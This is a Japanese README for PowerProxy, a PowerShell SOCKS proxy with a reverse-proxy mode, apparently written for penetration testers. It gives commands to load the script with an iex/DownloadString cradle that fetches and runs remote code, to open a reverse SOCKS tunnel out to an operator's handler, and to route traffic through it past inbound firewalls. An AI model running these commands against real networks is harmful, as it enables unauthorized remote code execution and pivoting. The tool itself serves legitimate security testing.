
リバースプロキシ機能を備えたPowerShell SOCKSプロキシ
リバースプロキシ機能を備えたPowerShell SOCKSプロキシ。
PowerProxyはペネトレーションテスターを念頭に置いて作成されています。リバースプロキシ機能は優先事項であり、インバウンド接続をブロックするネットワークをトラバースするためのものです。リバースプロキシ接続はデフォルトで暗号化されます。Socks 5接続ではユーザー名/パスワード認証がサポートされています。
スクリプトをインポート:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py は一時的なSSL証明書を作成できますが、これにはOpenSSLが必要です。お使いのマシンにOpenSSLがインストールされていない場合(ほとんどのLinux/Unixベースのシステムにはインストールされています)、独自の証明書を提供するか、--no-encrypt オプションを使用してください。
詳細な使用方法については、PowerProxyのヘルプを参照するか、./reverse_proxy_handler.py --help を使用してください。
ローカルマシンでハンドラを起動:
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080
PowerShellで:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
プロキシクライアントは、reverse_proxy_handler.pyによって作成されたサーバーを、あたかも実際のSOCKSサーバーであるかのように扱うことができます:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
PSCredentialオブジェクトを使用してユーザー名とパスワードを要求します:
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose